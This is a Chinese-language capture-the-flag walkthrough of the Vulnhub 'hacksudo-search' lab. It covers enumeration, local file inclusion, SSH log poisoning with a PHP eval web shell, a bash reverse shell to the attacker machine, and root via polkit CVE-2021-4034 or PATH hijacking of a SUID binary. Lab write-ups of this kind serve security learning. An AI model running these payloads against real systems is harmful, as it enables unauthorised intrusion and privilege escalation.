Vulnhub靶机:hacksudo-search

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudo-search(10.0.2.50)

目标:获取靶机root权限和flag

靶机下载地址:https://download.vulnhub.com/hacksudo/hacksudo-search.zip

二、信息收集

使用nmap主机发现靶机ip:10.0.2.50

使用nmap端口扫描发现,靶机开放端口:22、80

80端口:打开网站发现是一个搜索页面,查看源码未发现隐藏信息

使用gobuster和dirsearch工具进行目录爆破,发现/.env、/robots.txt、/search1.php文件

复制代码
gobuster dir -u http://10.0.2.50 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

dirsearch -u http://10.0.2.50 /usr/share/wordlists/dirb/big.txt


/.env文件存在一段加密信息和数据库的用户名密码:hiraman:MyD4dSuperH3r0!

aGFja3N1ZG8gaGVscCB5b3UgdG8gbGVhcm4gQ1RGICwgY29udGFjdCB1cyB3d3cuaGFja3N1ZG8uY29tL2NvbnRhY3QK

解密得到:hacksudo help you to learn CTF , contact us www.hacksudo.com/contact

/robots.txt文件

/search1.php文件是另一个搜索页面

查看源码发现隐藏信息:find me @hacksudo.com/contact @fuzzing always best option :)

点击Contact,在URL发现FUZZ字段:http://10.0.2.50/search1.php?FUZZ=contact.php,怀疑存在文件包含漏洞

使用wfuzz工具探测一波,发现一个LFI

复制代码
wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt http://10.0.2.50/search1.php?FUZZ=/etc/passwd

尝试包含/etc/passwd发现显示passwd文件的内容

三、漏洞利用

查看/etc/passwd文件发现存在5个用户

复制代码
monali:x:1001:1001:,,,:/home/monali:/bin/bash
john:x:1002:1002:,,,:/home/john:/bin/bash
search:x:1003:1003:,,,:/home/search:/bin/bash
hacksudo:x:1000:1000:hacksudo,,,:/home/hacksudo:/bin/bash
root:x:0:0:root:/root:/bin/bash

可以尝试包含这些用户的ssh私钥或一些日志文件,看看有没有权限访问

复制代码
/home/monali/.ssh/id_rsa
/home/john/.ssh/id_rsa
/home/search/.ssh/id_rsa
/home/hacksudo/.ssh/id_rsa

#ssh日志
/var/log/auth.log

发现包含ssh日志出现回显

可以通过在用户名处注入一句话木马然后使用蚁剑连接

复制代码
ssh '<?php @eval($_POST['pass']);?>'@10.0.2.50

反弹shell

复制代码
bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'

获取交互式shell

复制代码
python3 -c 'import pty; pty.spawn("/bin/bash")'

四、提权

方法一:

使用命令find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件,发现存在/usr/lib/policykit-1/polkit-agent-helper-1,该版本的polkit存在提权漏洞CVE-2021-4034

查看靶机是否存在gcc环境,发现存在

使用蚁剑将exp上传,编译,执行,获取root权限

方法二:

根据之前目录爆破发现一个目录/account/,浏览器访问,发现数据库连接文件

使用文件包含漏洞读取dbconnect.php文件的内容

复制代码
http://192.168.178.10/search1.php?me=php://filter/convert.base64-encode/resource=./account/dbconnect.php

使用base64解密发现数据库用户名密码:hacksudo:p@ssword

尝试使用/.envdbconnect.php文件里面的用户名密码登录ssh,直接登录失败,但使用用户名密码:hacksudo:MyD4dSuperH3r0!,登录ssh成功

使用命令find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件,发现文件/home/hacksudo/search/tools/searchinstall

发现searchinstall程序的源码,该程序会先设置uid,然后以root命令执行install命令

我们可以通过更改系统的环境变量来进行提权

复制代码
cd /tmp
echo "/bin/sh" > install
chmod 777 install
export PATH=/tmp:$PATH

执行searchinstall程序获取root权限

获取flag

相关推荐
jieyu11195 小时前
uploads-labs靶场通关(1)
web安全·文件上传漏洞·靶场通关
竹等寒8 小时前
Linux-网络安全私房菜(二)
linux·服务器·web安全
white-persist11 小时前
CSRF 漏洞全解析:从原理到实战
网络·python·安全·web安全·网络安全·系统安全·csrf
渗透测试老鸟-九青11 小时前
网络安全之揭秘APT Discord C2 以及如何取证
安全·web安全·网络安全学习路线
key0611 小时前
大模型在网络安全领域的应用与评测
网络·人工智能·web安全
数字供应链安全产品选型1 天前
国家级!悬镜安全入选两项“网络安全国家标准应用实践案例”
人工智能·安全·web安全
鹿鸣天涯1 天前
商用密码应用安全性评估
网络·安全·web安全
jieyu11192 天前
xxe靶场通关
安全·web安全
A Runner for leave2 天前
网络与通信安全课程复习汇总2——信息保密
web安全
缘友一世3 天前
漏洞扫描POC和web漏洞扫描工具
网络·安全·web安全